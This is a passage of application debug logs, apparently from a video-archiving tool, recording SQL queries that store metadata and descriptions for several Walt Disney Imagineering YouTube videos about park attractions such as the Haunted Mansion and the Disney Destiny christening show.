you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "54848523-d02b-47b8-bf4e-2c01a7982a98", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", false, 217, false, 13, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].mp4", false, false, 2, [], 98, ~U[2025-11-17 17:01:07Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", 217, false, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].mp4", false, 2, ~U[2025-11-17 17:01:07Z]] 18:57:21.170 [debug] QUERY OK source="sources" db=0.2ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.170 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 00:10:45Z], 2] 18:57:21.173 [debug] QUERY OK source="media_items" db=2.1ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → https://www.youtube.com/watch?v=SmBNBST2pVo\n\n✨ *What makes this special?*\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "a463471e-9b22-41b8-8d67-29a0af0f9718", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", false, 176, false, 14, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].mp4", false, false, 2, [], 98, ~U[2025-11-11 00:10:45Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → https://www.youtube.com/watch?v=SmBNBST2pVo\n\n✨ *What makes this special?*\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", 176, false, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].mp4", false, 2, ~U[2025-11-11 00:10:45Z]] 18:57:21.174 [debug] QUERY OK source="sources" db=0.2ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.174 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 19:00:54Z], 2] 18:57:21.177 [debug] QUERY OK source="media_items" db=2.0ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ *What makes this special?*\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "e43f41dd-cdc3-485c-8852-aebfc7fc7a4f", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", false, 271, false, 15, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].mp4", false, false, 2, [], 98, ~U[2025-10-31 19:00:54Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ *What makes this special?*\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", 271, false, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].mp4", false, 2, ~U[2025-10-31 19:00:54Z]] 18:57:21.177 [debug] QUERY OK source="sources" db=0.2ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.178 [debug] QUERY OK source="media_items" db=0.6ms idle=4.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-27 16:00:37Z], 2] 18:57:21.181 [debug] QUERY OK source="media_items" db=1.9ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "58add2f9-14e0-43c9-a2d3-58716c308bb0", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", false, 187, false, 16, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].mp4", false, false, 2, [], 98, ~U[2025-10-27 16:00:37Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", 187, false, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].mp4", false, 2, ~U[2025-10-27 16:00:37Z]] 18:57:21.181 [debug] QUERY OK source="sources" db=0.2ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.182 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-19 18:00:08Z], 2] 18:57:21.185 [debug] QUERY OK source="media_items" db=2.1ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 *Key Takeaways*\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "19b27a37-ec6b-42bf-8deb-10db24e83b7b", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", false, 1714, false, 17, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].mp4", false, false, 2, [], 98, ~U[2025-10-19 18:00:08Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 *Key Takeaways*\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more 